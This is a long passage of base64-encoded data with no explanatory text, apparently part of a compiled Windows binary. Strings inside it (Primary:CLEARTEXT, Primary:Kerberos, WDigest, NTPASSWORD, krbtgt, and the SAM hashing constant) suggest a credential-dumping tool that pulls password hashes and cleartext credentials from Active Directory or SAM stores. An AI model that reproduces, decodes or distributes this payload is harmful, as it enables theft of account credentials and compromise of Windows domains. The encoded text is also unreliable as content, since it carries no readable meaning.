JNQU5iL1hGc1lCd2dBN1A5TFhFaEpNQUFJQUFFQUNBQUlBQklJSlZ4YkNBaGJFZ0F3QUJZREpBQkxYRVpjQUFBQUFCSUlKVnhiQ0V3QU91eE1BQkQrQ0FoY1d4c0RKQUFKQVBqL0FRQk1BTmIvWEZzWUF3Z0E3UDlMWEVoSkpBQUlBQUVBQ0FBSUFCSUlKVnhiQ0FoYkVnQkFBQm9EUkFBQUFCWUFUQURRL1FnSURRZzJOalpNQU92clRBRG42MXNTQ0NWY0VnZ2xYQklJSlZ3aEF3QUFDUUQ4L3dFQS8vLy8vd0FBVEFERy8xeGJHZ01NQU9iL0FBQk1BSkw5Q0ZzU0FGQUFGZ2RRQUV0Y1Jsd0FBQUFBRWdnbFhFWmNCQUFFQUJJSUpWeEdYQXdBREFBVUFGRDFXd2dJQ0FoTUFGLzlUQUJiL1FoTUFGYjlUQUI0NjBBTEMxc2JCMUFBQ1FENC93RUFUQUMyLzF4YkdBY0lBT3ovUzF4SVNWQUFDQUFEQUFnQUNBQVNDQ1ZjREFBTUFCSUlKVndVQUJRQUZBRCs5RnNJQ0ZzU0FDQUFGUWNnQUV3QUxPc0xUQUFCL1ZzYkJ5QUFDUUQ0L3dFQVRBRG0vMXhiRndjSUFPei9DQWhjV3hJQU1BQWFCeWdBQUFBT0FFd0EvT29MVEFEUi9EWkFXeElJSlZ3aEJ3QUFDUUQ0L3dFQS8vLy8vd0FBVEFEVy8xeGJHZ2NJQU9iL0FBQUlDRnhiRWdBNEFCb0hPQUFBQUJJQU5naE1BSmI4VEFDNDZnc0xOa0JjV3hJSUpWd1NDQ1ZjSVFjQUFBa0ErUDhCQVAvLy8vOEFBRXdBenY5Y1d4b0hDQURtL3dBQUNBaGNXeElBVEFBYUIxZ0FBQUFlQURZMkNEWk1BRTc4VEFCSy9BaE1BRVg4VEFCbjZrQUxDelpBWEZzU0NDVmNFZ2dsWEJRQUZ2UVNDQ1ZjSVFjQUFBa0ErUDhCQVAvLy8vOEFBRXdBdXY5Y1d4b0hDQURtL3dBQUNBaGNXeElBT0FDM0NBQUFBQUFBQVFBQUdnY29BQUFBREFBMkNBZ0lDQWdMQ0VCYkVnZ2xYQ0VIQUFBSkFQai9BUUQvLy8vL0FBQk1BTmovWEZzYUJ3Z0E1djhBQUV3QXdQOElXeElBWU9zU0FDd0F0d2dBQUFBQUVDY0FBQlVITUFBTENBaE1BTW5wQ3dnSVhGc2JCekFBQ1FENC93RUFUQURrLzF4YkdnY0lBT3ovQUFCTUFNei9DRnNSQUFJQUt3a3BBQVFBQVFBQ0FEQUFBUUFCQUFBQVJnRC8vN2NJQUFBQUFBQUJBQUMzQ0FBQUFBQUFBUUFBdHdnQUFBQUFBQUVBQUJzQkFnQVpBQkFBQVFBRld4c0JBZ0FaQUJnQUFRQUZXeHNCQWdBWkFDQUFBUUFGV3hvRE1BQUFBQmdBQ0RZMk5rd0FzUDgyVEFDMS96Wk1BTHIvTmpZMld4SUlKVndTQ0NWY0ZBZ2xYQklBc1A4U0FMai9FZ0RBL3hJSUpWd1NDQ1ZjRVFRQ0FDc0pLVlFNQUFFQUFnQUVBQUVBQVFBQUFLVDAvLzhSQUFJQUt3a3BBQVFBQVFBQ0FBZ0FBUUFCQUFBQUpBRC8vN2NJQVFBQUFCQW5BQUFoQXdBQUdRQUFBQUVBLy8vLy93QUFUQUM0OEZ4YkdnTUlBQUFBQ0FCTUFOYi9ObHNTQU5yL0VRUUNBQ3NKS1ZRTUFBRUFBZ0FJQUFFQUFRQUFBQ1FBLy8rM0NBQUFBQUFRSndBQUlRTUFBQmtBQUFBQkFQLy8vLzhBQUV3QTR2QmNXeG9EQ0FBQUFBZ0FUQURXL3paYkVnRGEveEVBQWdBckNTa0FCQUFCQUFJQUdBQUJBQUVBQUFBRUFQLy9GZ01ZQUV0Y1Jsd0FBQUFBRVFDeTZGc0lUQUFxNkFoYkVRQUNBQ3NKS1FBRUFBRUFBZ0FzQUFFQUFRQUFBQW9BLy84ZEFCQUFBbHNXQXl3QVMxeEdYQlFBRkFBU0FIcm9SbHdZQUJnQUVnQnM2VnRNQU9ubkNBZ0lUQURXLzF4YkVRUUNBQ3NKS1ZRTUFBRUFBZ0FNQUFFQUFRQUFBQjRBLy8rM0NBQUFBQUFBQUtBQUd3TVFBQmtBQkFBQkFFd0FydWRjV3hvRERBQUFBQW9BQ0V3QTIvODJYRnNTQU43L0VRQUNBQ3NKS1FBRUFBRUFBZ0FRQUFFQUFRQUFBQzRBLy8rM0NBRUFBQUFRSndBQUd3TUVBQmtBQkFBQkFFdGNTRWtFQUFBQUFRQUFBQUFBRWdnbFhGc0lYRnNhQXhBQUFBQUtBRFpNQU12L05naGJFZ2dsWEJJQXl2OFJCQUlBS3drcFZBd0FBUUFDQUF3QUFRQUJBQUFBSGdELy83Y0lBQUFBQUJBbkFBQWJBd2dBR1FBQUFBRUFUQURrK0Z4YkdnTU1BQUFBQ2dCTUFOei9OZ2hjV3hJQTN2OFJBQUlBS3drcEFBUUFBUUFDQUFRQUFRQUJBQUFBalBMLy94RUVBZ0FyQ1NsVURBQUJBQUlBQkFBQkFBRUFBQUJ5OHYvL0VRQUNBQ3NKS1FBRUFBRUFBZ0FZQUFFQUFRQUFBQVFBLy84V0F4Z0FTMXhHWEJRQUZBQVJBQmpuV3doTUFKRG1DRnNSQkFJQUt3a3BWQXdBQVFBQ0FBUUFBUUFCQUFBQUp2TC8veEVBQWdBckNTa0FCQUFCQUFJQUdBQUJBQUVBQUFBRUFQLy9GZ01ZQUV0Y1Jsd1VBQlFBRWdnbFhGc0lUQUJFNWdoYkVRUUNBQ3NKS1ZRTUFBRUFBZ0FNQUFFQUFRQUFBQVFBLy84VkF3d0FDQWdJV3hFQUFnQXJDU2tBQkFBQkFBSUFDQUFCQUFFQUFBQUVBUC8vRmdNSUFFdGNSbHdBQUFBQUVnZ2xYRVpjQkFBRUFCSUlKVnhiQ0FoYkVRUUNBQ3NKS1ZRTUFBRUFBZ0FRQUFFQUFRQUFBQm9BLy8rM0NBQUFBQUFBQkFBQUd3RUNBQmtBQ0FBQkFBVmJHZ01RQUFBQUNnQTJOa3dBM3Y4Mld4SUlKVndTQ0NWY0VnRGEveEVBQWdBckNTa0FCQUFCQUFJQURBQUJBQUVBQUFBT0FQLy90d2dBQUFBQS8vOEFBQm9EREFBQUFBb0FOa3dBNi84MlhGc1NDQ1ZjRWdDaTZSRUVBZ0FyQ1NsVURBQUJBQUlBQkFBQkFBRUFBQUQ0OFAvL0VRQUNBQ3NKS1FBRUFBRUFBZ0FFQUFFQUFRQUFBRkx4Ly84UkJBSUFLd2twVkF3QUFRQUNBQXdBQVFBQkFBQUFEZ0QvLzdjSUFBQUFBUC8vQUFBYUF3d0FBQUFLQUFoTUFPdi9ObHhiRWdBMjZSRUFBZ0FyQ1NrQUJBQUJBQUlBQkFBQkFBRUFBQUNNOFAvL0VRUUNBQ3NKS1ZRTUFBRUFBZ0FnQUFFQUFRQUFBRG9BLy8rM0NBQUFBQUFBQkFBQXR3Z0FBQUFBQUFDZ0FMY0lBQUFBQUFBQW9BQWJBQUVBR1FBUUFBRUFBbHNiQUFFQUdRQVlBQUVBQWxzYUF5QUFBQUFVQUFnMlRBQysvelpNQU1QL05rd0F5UDgyV3hJSUpWd1NBQ3J1RWdERS94SUF6UDhSQUFJQUt3a3BBQVFBQVFBQ0FBd0FBUUFCQUFBQURnRC8vN2NJQVFBQUFBQUVBQUFhQXd3QUFBQUtBQWhNQU92L05seGJFZ0JxNkJFRUFnQXJDU2xVREFBQkFBSUFDQUFCQUFFQUFBQUVBUC8vRmdNSUFFdGNSbHdFQUFRQUVnZ2xYRnNJQ0ZzQUFIaENCQkFRaXdBUU5vc0FFRXdvQmhBQUFBQUFBQUFBQUFBQUFBQUFBQUFBZ2gwRUVBRUFBQUFBQUFZQUFBQUFBRk1DQUFnQUFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFTQUFBQUFBQUFCZ0FNZ0FBQUVRQVFBQkhCUWdIQVFBQkFBQUFDZ0FFQUFJQUN3QUlBQmdBRXlBTUFFQUFFQUVRQUVnQWNBQVVBQWdBQUVnQUFBQUFBUUFJQUREZ0FBQUFBRGdBUUFCRUFnZ0JBQUFBQUFBQUdBRUFBRkFBY0FBRUFBZ0FBRWdBQUFBQUFnQVFBREJBQUFBQUFDd0FDQUJHQkFnRkFBQUJBQUFBQ0FBQUFGUUFTQUFFQUFnQUN3RUlBRndBY0FBTUFBZ0FBRWdBQUFBQUF3QVlBREJBQUFBQUFDd0FKQUJIQmdnSEFRQUJBQUFBQ0FBQUFGUUFTQUFFQUFnQUN3RUlBTWdBVUNFTUFBZ0FFd0VRQVBnQ2NBQVVBQWdBQUVnQUFBQUFCQUFRQURCQUFBQUFBQ3dBQ0FCR0JBZ0ZBQUFCQUFBQUNBQUFBRlFBU0FBRUFBZ0FDd0VJQU1RRmNBQU1BQWdBQUVnQUFBQUFCUUFRQURCQUFBQUFBQ3dBQ0FCR0JBZ0ZBQUFCQUFBQUNBQUFBRlFBU0FBRUFBZ0FDd0VJQUFJR2NBQU1BQWdBQUVnQUFBQUFCZ0FRQURCQUFBQUFBQ3dBQ0FCR0JBZ0ZBQUFCQUFBQUNBQUFBRlFBU0FBRUFBZ0FDd0VJQUpBR2NBQU1BQWdBQUVnQUFBQUFCd0FRQURCQUFBQUFBQ3dBQ0FCR0JBZ0ZBQUFCQUFBQUNBQUFBRlFBU0FBRUFBZ0FDd0VJQU1vR2NBQU1BQWdBQUVnQUFBQUFDQUFZQURCQUFBQUFBQ3dBSkFCSEJnZ0hBUUFCQUFBQUNBQUFBRlFBU0FBRUFBZ0FDd0VJQUE0SFVDRU1BQWdBRTJFUUFHNEhjQUFVQUFnQUFFZ0FBQUFBQ1FBWUFEQkFBQUFBQUN3QUpBQkhCZ2dIQVFBQkFBQUFDQUFBQUZRQVNBQUVBQWdBQ3dFSUFNQUhVQ0VNQUFnQUUyRVFBQ29JY0FBVUFBZ0FBRWdBQUFBQUNnQVlBREJBQUFBQUFDd0FKQUJIQmdnSEFRQUJBQUFBQ0FBQUFGUUFTQUFFQUFnQUN3RUlBS1lJVUNFTUFBZ0FFMEVRQUY0SmNBQVVBQWdBQUVnQUFBQUFDd0FZQURCQUFBQUFBQ3dBSkFCSEJnZ0hBUUFCQUFBQUNBQUFBRlFBU0FBRUFBZ0FDd0VJQUs0SlVDRU1BQWdBRXdFUUFQSUpjQUFVQUFnQUFFZ0FBQUFBREFBWUFEQkFBQUFBQUN3QUpBQkhCZ2dIQVFBQkFBQUFDQUFBQUZRQVNBQUVBQWdBQ3dFSUFHQUtVQ0VNQUFnQUV5RVFBTHdLY0FBVUFBZ0FBRWdBQUFBQURRQVlBREJBQUFBQUFDd0FKQUJIQmdnSEFRQUJBQUFBQ0FBQUFGUUFTQUFFQUFnQUN3RUlBRWdMVUNFTUFBZ0FFeUVRQUtZTGNBQVVBQWdBQUVnQUFBQUFEZ0FZQURCQUFBQUFBQ3dBSkFCSEJnZ0hBUUFCQUFBQUNBQUFBRlFBU0FBRUFBZ0FDd0VJQU1ZTFVDRU1BQWdBRXlFUUFBQU1jQUFVQUFnQUFFZ0FBQUFBRHdBWUFEQkFBQUFBQUN3QUpBQkhCZ2dIQVFBQkFBQUFDQUFBQUZRQVNBQUVBQWdBQ3dFSUFCb01VQ0VNQUFnQUV5RVFBRWdNY0FBVUFBZ0FBRWdBQUFBQUVBQVlBREJBQUFBQUFDd0FKQUJIQmdnSEFRQUJBQUFBQ0FBQUFGUUFTQUFFQUFnQUN3RUlBR0lNVUNFTUFBZ0FFeUVRQUpBTWNBQVVBQWdBQUVnQUFBQUFFUUFZQURCQUFBQUFBQ3dBSkFCSEJnZ0hBUUFCQUFBQUNBQUFBRlFBU0FBRUFBZ0FDd0VJQUdJUFVDRU1BQWdBRXdFUUFNd1BjQUFVQUFnQUFFZ0FBQUFBRWdBUUFEQkFBQUFBQUN3QUNBQkdCQWdGQUFBQkFBQUFDQUFBQUZRQVNBQUVBQWdBQ3dFSUFOQVJjQUFNQUFnQUFFa0FBQUFBRXdBWUFEQkFBQUFBQUN3QUpBQkhCZ2dIQVFBQkFBQUFDQUFBQUZRQVNBQUVBQWdBQ3dFSUFQSVJVQ0VNQUFnQUV5RVFBRm9TY0FBVUFBZ0FBRWtBQUFBQUZBQVlBREJBQUFBQUFDd0FKQUJIQmdnSEFRQUJBQUFBQ0FBQUFGUUFTQUFFQUFnQUN3RUlBR3dXVUNFTUFBZ0FFeUVRQUFZWGNBQVVBQWdBQUVnQUFBQUFGUUFZQURCQUFBQUFBQ3dBSkFCSEJnZ0hBUUFCQUFBQUNBQUFBRlFBU0FBRUFBZ0FDd0VJQUNBWFVDRU1BQWdBRXlFUUFHd1hjQUFVQUFnQUFFZ0FBQUFBRmdBUUFEQkFBQUFBQUN3QUNBQkdCQWdGQUFBQkFBQUFDQUFBQUZRQVNBQUVBQWdBQ3dFSUFMZ1hjQUFNQUFnQUFFZ0FBQUFBRndBWUFEQkFBQUFBQUN3QUpBQkhCZ2dIQVFBQkFBQUFDQUFBQUZRQVNBQUVBQWdBQ3dFSUFPb1hVQ0VNQUFnQUUwRVFBRElZY0FBVUFBZ0FBRWdBQUFBQUdBQVlBREJBQUFBQUFDd0FKQUJIQmdnSEFRQUJBQUFBQ0FBQUFGUUFTQUFFQUFnQUN3RUlBSG9ZVUNFTUFBZ0FFMEVRQU5ZWWNBQVVBQWdBQUVnQUFBQUFHUUFZQURCQUFBQUFBQ3dBSkFCSEJnZ0hBUUFCQUFBQUNBQUFBRlFBU0FBRUFBZ0FDd0VJQUI0WlVDRU1BQWdBRXlFUUFEZ1pjQUFVQUFnQUFFZ0FBQUFBR2dBWUFEQkFBQUFBQUN3QUpBQkhCZ2dIQVFBQkFBQUFDQUFBQUZRQVNBQUVBQWdBQ3dFSUFGSVpVQ0VNQUFnQUV5RVFBSVFaY0FBVUFBZ0FBRWdBQUFBQUd3QVlBREJBQUFBQUFDd0FKQUJIQmdnSEFRQUJBQUFBQ0FBQUFGUUFTQUFFQUFnQUN3RUlBSjRaVUNFTUFBZ0FFMEVRQU5BWmNBQVVBQWdBQUVnQUFBQUFIQUFZQURCQUFBQUFBQ3dBSkFCSEJnZ0hBUUFCQUFBQUNBQUFBRlFBU0FBRUFBZ0FDd0VJQVBJWlVDRU1BQWdBRTBFUUFDb2FjQUFVQUFnQUFFZ0FBQUFBSFFBWUFEQkFBQUFBQUN3QUpBQkhCZ2dIQVFBQkFBQUFDQUFBQUZRQVNBQUVBQWdBQ3dFSUFIWWFVQ0VNQUFnQUV5RVFBTElhY0FBVUFBZ0FBRWdBQUFBQUhnQVlBREJBQUFBQUFDd0FKQUJIQmdnSEFRQUJBQUFBQ0FBQUFGUUFTQUFFQUFnQUN3RUlBTXdhVUNFTUFBZ0FFMEVRQU9ZYWNBQVVBQWdBQUVnQUFBQUFBQUFZQURJQUFBQUlBQ1FBUndVSUJ3RUFBUUFBQUVnQUJBQUlBQXNCQ0FBZUcxQWhEQUFJQUJPQkVBQTRHM0FBRkFBSUFBQklBQUFBQUFFQUdBQXlBQUFBQ0FBa0FFY0ZDQWNCQUFFQUFBQklBQVFBQ0FBTEFRZ0FzaHRRSVF3QUNBQVRJUkFBNmh0d0FCUUFDQUFBQUFBQTBLd0VFTnlzQkJEb3JBUVEvS3dFRUdqT0JCQjh6Z1FRdEZNRUVBZ0FBQURJUXdRUU9ja0FFSEhKQUJCRUFBQUFOVUpSNHdaTDBSR3JCQURBVDhMYzBnUUFBQUFFWFlpSzZ4ekpFWi9vQ0FBckVFaGdBZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUFR2QkJBSThBUVFBQUFBQUFVQUFBQUVRd1FRTS93QUVLNzhBQkJFQUFBQTFOZEVmTlV4VEVLOVhpcytIekk5SWdFQUFBQUVYWWlLNnh6SkVaL29DQUFyRUVoZ0FnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFvU3dRUXJFTUVFS3hOQkJEOFFRUVFGRW9FRUR4S0JCQ3NTZ1FRb0VZRUVDUk1CQkEwUlFRUU5Fa0VFRVJMQkJCTVRBUVFZRTBFRU5SSkJCQVVIUVFRWEVJRUVELytBQkRzekFRUXRGTUVFTjM4QUJEQTd3UVF0Rk1FRUxiK0FCRFE3d1FRdEZNRUVMYjhBQkRnN3dRUXRGTUVFRzRBQVJEbzd3UVF0Rk1FRUlDbUFCQ0VzZ1FRa0xJRUVDaW9BQkFFc3dRUUdMTUVFQ09yQUJCWXN3UVFjTE1FRUZleUFCRDRzd1FRRExRRUVBZkdBQkJBdEFRUVRMUUVFSmpIQUJCb3RBUVFjTFFFRUJiQkFCQ010QVFRbUxRRUVON0JBQkNzdEFRUXVMUUVFQnJBQUJEUXRBUVFBQUFBQUx6M0JCRE05d1FRQUFBQUFBY0FBQUNJUkFRUW5RQUJFQzhDQVJDMHlRQVF0TXdFRUx6TUJCQUV6Z0FRN013RUVQak1CQkNhekFBUUdNMEVFQ0ROQkJBcXpBQVFUTTBFRUZqTkJCRFAwQUFRZU0wRUVJak5CQkRkM2dBUXVMZ0VFTEROQkJEbzR3QVEzTTBFRU9UTkJCRCs0d0FRRU00RUVDRE9CQkFZQUJvQVJPWUVFQnpyQkJDd2J3UVFRT3NFRUxCdkJCQmc2d1FRZU9zRUVKRHJCQkNnNndRUXRPc0VFTVRyQkJEWTZ3UVE5T3NFRUFEc0JCQVU3QVFRS093RUVNQ0ZCQkFCQUFBQVpBY0FnQUlBWkdSa0J3Q0FBd0JrQUFBSENvQ1lBZ0VRVlBVRUVHajFCQkNsQXdFUXBQVUVFTFQxQkJBMkJBRVE2UFVFRUFUMkJCQmFCd0VRUVBZRUVGRDJCQkM0RkFFUXVMZ0VFSmoyQkJCR0Z3RVFRTFFFRU9qMkJCQ0hHQUVRYUxRRUVGajNCQkFBQUFBQWlQQUVFS0R3QkJDczhBUVF1UEFFRUFFQUFBb0FBUUNBQWdBQUdRQUJBSUFEQUFCTEFBRUFnQVFBQUdRQUFRQ0FCUUFBU3dBQkFJQUFBQUFaQUFFQWdBVUFBQUFHQUFBQUFRQUFBQWdBQUFBSEFBQUE3QkVGRVBnUkJSQUFBQUFBQWdBQUFGQkZCQkFBQUFBQUFBQUFBUEFZQVJBNEVRVVFTQkVGRUIwWkFSQzRFUVVReEJFRkVGaEJCUkFBQUFBQXFSb0JFQUFBQUFDMEV3VVF1Qk1GRUVrZEFSQUFBQUFBR0JRRkVDQVVCUkFBQUFBQUI4QWlBR1FVQlJCd0ZBVVFBQUFBQUF2QUlnQ1FGQVVRbkJRRkVBQUFBQUJEd0NJQXJCUUZFTHdVQlJDeEhRRVFBQUFBQU5nVUJSRDRGQVVRQmg4QkVBQUFBQUFZRlFVUU5CVUZFTHdmQVJBQUFBQUFaQlVGRUlnVkJSQUFBQUFBZzhBaUFNUVZCUkRVRlFVUUFBQUFBTVBBSWdEd0ZRVVEvQlVGRUFBQUFBQUR3U0lBRUJZRkVDd1dCUkFBQUFBQUI4RWlBR2dXQlJDQUZnVVFBQUFBQUF2QklnQzhGZ1VRMUJZRkVBQUFBQUFQd1NJQURCY0ZFQ0FYQlJBQUFBQUFFOEVpQUdBWEJSQjRGd1VRSUNBQkVCZkJJZ0MwRndVUTNCY0ZFRU1nQVJBbndTSUFIQmdGRUVBWUJSQUFBQUFBUThFaUFId1lCUkNNR0FVUUFBQUFBRWZCSWdDc0dBVVF4QmdGRU1Rb0JSRFVLQVVRQUFBQUFBZ0FBQUNnU0FRUUFBQUFBQUFBQUFBQUFBQUE1RmtGRVBSWkJSQVVXZ1VRSUZvRkVFUmFCUkJVV2dVUWRGb0ZFS0JhQlJEZ1dnVVFFRnNGRURCYkJSQkFXd1VRZEZzRkVLaGJCUkRVV3dVUTZGc0ZFUHhiQlJBa1hBVVFTRndGRUhCY0JSQ2dYQVVRdkZ3RkVPQmNCUkFNWFFVUU1GMEZFSUJkQlJDc1hRVVEzRjBGRVBoZEJSQVVYZ1VRTUY0RkVFeGVCUkFMQmdjQkNBb09BQU1GQWc4TkNRd0VVQUJoQUdNQWF3QmhBR2NBWlFCekFBQUFBQUJRQUhJQWFRQnRBR0VBY2dCNUFEb0FRd0JNQUVVQVFRQlNBRlFBUlFCWUFGUUFBQUNZTEFVUXFDd0ZFREF4TWpNME5UWTNPRGt3TVRJek5EVTJOemc1TURFeU16UTFOamM0T1RBeE1qTTBOVFkzT0RrQUFBQUF0RWtGRU1SSkJSRFlTUVVRNkVrRkVQeEpCUkFoUUNNa0pWNG1LaWdwY1hkbGNuUjVWVWxQVUVGNmVHTjJZbTV0VVZGUlVWRlJVVkZSVVZGUktTZ3FRQ1lsQUFCUUFISUFhUUJ0QUdFQWNnQjVBRG9BU3dCbEFISUFZZ0JsQUhJQWJ3QnpBQUFBQUFCUUFISUFhUUJ0QUdFQWNnQjVBRG9BVndCRUFHa0Fad0JsQUhNQWRBQUFBRkFBY2dCcEFHMEFZUUJ5QUhrQU9nQkxBR1VBY2dCaUFHVUFjZ0J2QUhNQUxRQk9BR1VBZHdCbEFISUFMUUJMQUdVQWVRQnpBQUFBY0VFRkVFNVVVRUZUVTFkUFVrUUFBQUFBQUFEd0xBVVErQ3dGRUFRdEJSQU1MUVVReENBQkVEZ2xCUkJBSlFVUWp5SUJFTUFsQlJEUUpRVVFvQ0lCRU5DMEJCQllKZ1VRNlVBQkVPd21CUkQ0SmdVUWcwNEJFSmduQlJDb0p3VVFqVlVCRUVnb0JSQUFBQUFBTWxjQkVHQW9CUkFBQUFBQTIxY0JFSEFvQlJDQUtBVVFURTFRUVZOVFYwOVNSQUFBYXdCeUFHSUFkQUJuQUhRQUFBQUFBSnhCQlJEMFN3VVFCRXdGRUJSTUJSQWtUQVVRaUVFRkVFaGxCUkJVWlFVUUFBQUFBQWdBQUFCd1NRUVFLV2dCRUJocEFSRG9hQVVRL0dnRkVCQnBCUkE4YVFVUVdHa0ZFSFJwQlJDTWFRVVFwR2tGRUVwcEFSQ2dZZ1VRcUdJRkVHaHBBUkFFWXdVUUdHTUZFSVpwQVJDSVl3VVFtR01GRUtScEFSRDhZd1VRR0dRRkVBVnRBUkNBWkFVUWtHUUZFR051QVJBWVpRVVFBQUFBQUxSd0FSQWtaUVVRQUFBQUFNVjFBUkEwWlFVUUFBQUFBUFJwQlJBTWNnVVF0Rk1FRUFBQUFBQURBQUFBOEVrRUVBQUFBQUFBQUFBQVZIa0JFSlRiQkJDMFV3UVFMMzRCRU9oeEJSQzBVd1FRTDM0QkVBQnlCUkMwVXdRUVVIY0ZFR1IzQlJBQUFBQUFBUUFBQURCS0JCQUFBQUFBQUFBQUFESitBUkFjZHdVUUtIY0ZFS3dVQlJCTWVRVVFBQUFBQUFjQUFBQllTZ1FRQUFBQUFBQUFBQUJ3ZmdFUTdNd0VFTHdVQlJBeGdBRVFMSGdGRUR4NEJSQkZnQUVRV0hnRkVHaDRCUkI4ZmdFUWhIZ0ZFSkI0QlJEZ2ZnRVFzSGdGRUx4NEJSRHhmZ0VRNUhnRkVQUjRCUkFDZndFUUdIa0ZFQ2g1QlJEdzJ3UVFGSDhGRUFBQUFBQUlBQUFBeUVvRUVBQUFBQUFBQUFBQW9ZSUJFSVI0QlJEb2ZRVVF2b0lCRUpRZ0JSQUVmZ1VRMjRJQkVMQjRCUkFrZmdVUStJSUJFT1I0QlJCQWZnVVFGWU1CRUJoNUJSQmdmZ1VRTW9NQkVJQitCUkNZZmdVUVQ0TUJFTUIrQlJEVWZnVVFMMzRCRU96TUJCRDRmZ1VRNUljRkVQaUhCUkFZaUFVUUNnQUFBR0JMQkJBQUFBQUFBQUFBQUVDTkJSQk1qUVVRQUFBQUFBUUFBQURZU3dRUUFBQUFBQUFBQUFBOWhnRVFqSVFGRUppRUJSQk9oZ0VRdElRRkVNQ0VCUkNjaGdFUU9JVUZFRWlGQlJDcWhnRVExSVVGRU9TRkJSQzRoZ0VRR0lZRkVDaUdCUkQraGdFUWNCSUZFR2lHQlJCWWh3RVFySVlGRU1DR0JSQ2pod0VRQkljRkVCaUhCUkQ2aHdFUVhJY0ZFR2lIQlJDcGlBRVFzSWNGRU1TSEJSQzNpQUVRU0l3RkVGaU1CUkJvaVFFUTdNd0VFSXlNQlJCN2lRRVF5SXdGRU5pTUJSQ3Bpd0VRQUkwRkVCQ05CUkRFa2dVUXRFa0ZFSkNTQlJCY2tnVVFjSklGRUpDU0JSQ3NrZ1VRTEpVRkVEU1ZCUkFBQUFBQUFRQUFBRUJNQkJBQUFBQUFBQUFBQUJ1T0FSQ0lsQVVRb0pRRkVLeTBCQkNZbFFVUUFBQUFBQUlBQUFCb1RBUVFPWTRCRUVLUEFSQlZqd0VRN013RUVPek1CQkI2bUFFUWpMUUVFSXkwQkJDd2J3UVFtS0lGRUtpaUJSRElvZ1VROEtJRkVDQ2pCUkJJb3dVUUFBQUFBTDQxRGo1M0crZER1SE91MlFHMkoxdUFsZ1VRQUFBQUFEaDRuZWExa2NsUGlkVWpEVTFNd3J5Z2xnVVFBQUFBQVBOdmlEeHBKcUpLcVBzL1oxbW5kVWpJbGdVUUFBQUFBUFV6NExMZVh3MUZvYjAza2ZSbGNnem9sZ1VRejVNQkVDdWh1TFE5R0FoSmxWbTlpODV5dFlyOGxnVVF6NU1CRUpGeXlQNzJGTFpBdlpoLzhrV1lheVlnbHdVUXo1TUJFS05RUXgwTk0vbEtzLytwSjZSWm1LdzBsd1VRQUFBQUFBd0FBQUFBQUFBQWFLTUZFSFNqQlJBOGhnUVFoS01GRUVpbkJSQmdwd1VRQUFBQUFBRUFBQUNRVFFRUUFBQUFBQUFBQUFBQUFBQUFNREV5TXpRMU5qYzRMa1kvSUNFaEFHeWJBUkE4cHdVUVBLY0ZFQ2NBQUFBY0FBQUFGZ0FBQUFjQUFBQ0l0QVVRbkxRRkVNQzBCUkFRQUFBQXlFMEVFUGVwQVJBVHFnRVFOOWNCRUdpd0JSQndzQVVRc3R3QkVLaXdCUkM0c0FVUTljY0JFR2pPQkJEc3NBVVFyTnNCRUNTeEJSQXdzUVVRS05ZQkVHQ3hCUkJ3c1FVUWlkb0JFS1N4QlJDc3NRVVFHNm9CRU5peEJSRDRzUVVRbjZrQkVLd1VCUkJRc2dVUXNxa0JFS3l5QlJEQXNnVVE5clVCRUJ5ekJSQWtzd1VRVWJFQkVNRGJCQkJBc3dVUVJyUUJFRkN6QlJCb3N3VVFPc2dCRUpDekJSQ2dzd1VRYXNnQkVNeXpCUkRZc3dVUTNzVUJFTnkwQkJBVXRBVVFGY1FCRUVTMEJSQlV0QVVRM0xzRkVBUzhCUkFZdkFVUU1Md0ZFRUM4QlJCTXZBVVFYTHdGRUdpOEJSQjR2QVVRbkx3RkVMeThCUkRndkFVUUJMMEZFRFM5QlJEb0d3WVF4QndHRUxRZEJoQzBHd1lReEJrR0VCUWNCaENrR0FZUWVCZ0dFTFFXQmhCem9BRVFHcUlCRUUraUFSRDhLQVlRK0NnR0VLK2pBUkRYcEFFUXk2WUJFTndUQmhEZ0V3WVFBQUFBQUdnQUFBQUlBQUFBTEFBQUFEQUFBQUFRQUFBQUdBQUFBRWdBQUFBb0FBQUFZQUFBQURnQUFBQkFBQUFBWUFBQUFBZ0FBQUFzQUFBQU1BQUFBQkFBQUFBWUFBQUFTQUFBQUNnQUFBQmNBQUFBT0FBQUFFQUFBQUNvQUFBQVFBQUFBR3dBQUFCd0FBQUFVQUFBQUZnQUFBQ0lBQUFBYUFBQUFLQUFBQUI0QUFBQWdBQUFBS0FBQUFCQUFBQUFiQUFBQUhBQUFBQlFBQUFBV0FBQUFJZ0FBQUJvQUFBQW5BQUFBSGdBQUFDQUFBQUFxQUFBQUVBQUFBQjRBQUFBZkFBQUFGd0FBQUJrQUFBQWtBQUFBSFFBQUFDa0FBQUFnQUFBQUlnQUFBRElBQUFBUUFBQUFIUUFBQUI4QUFBQVVBQUFBRmdBQUFDUUFBQUFjQUFBQU1BQUFBQ0FBQUFBaUFBQUFOZ0FBQUJBQUFBQWdBQUFBSWdBQUFCY0FBQUFaQUFBQUtBQUFBQjhBQUFBMEFBQUFKQUFBQUNZQUFBQWVCZ0dFTVFaQmhBQUFBQUFUQUFBQUNBQUFBQTRBQUFBUkFBQUFBQUFBQUFFQUFBQVpBQUFBQ0FBQUFCUUFBQUFYQUFBQUFBQUFBQUVBQUFBYkFBQUFDQUFBQUJZQUFBQVpBQUFBQUFBQUFBRUFBQUF0QnNHRUFBQUFBQTBBQUFBWUFBQUFLQUFBQUNvQUFBQXNBQUFBTGdBQUFDOEFBQUFFQUFBQUJRQUFBQVlBQUFBSUFBQUFDZ0FBQUF3QUFBQU9BQUFBRHdBQUFCRUFBQUFTQUFBQUdnQUFBQndBQUFBZUFBQUFKZ0FBQUNnQUFBQW5BQUFBS2dBQUFDWUFBQUFFQUFBQUFnQUFBQVVBQUFBSEFBQUFDZ0FBQUFnQUFBQUxBQUFBRmdBQUFDWUFBQUFxQUFBQUxnQUFBRElBQUFBekFBQUFCQUFBQUFVQUFBQUdBQUFBQ0FBQUFBb0FBQUFNQUFBQURnQUFBQkFBQUFBU0FBQUFFd0FBQUJnQUFBQWFBQUFBSEFBQUFDUUFBQUFtQUFBQUpRQUFBQ2dBQUFBa0FBQUFCQUFBQUFJQUFBQUZBQUFBQndBQUFBb0FBQUFJQUFBQUNRQUFBQlFBQUFBa0FBQUFLQUFBQUN3QUFBQXdBQUFBTVFBQUFBUUFBQUFGQUFBQUJnQUFBQWdBQUFBS0FBQUFEQUFB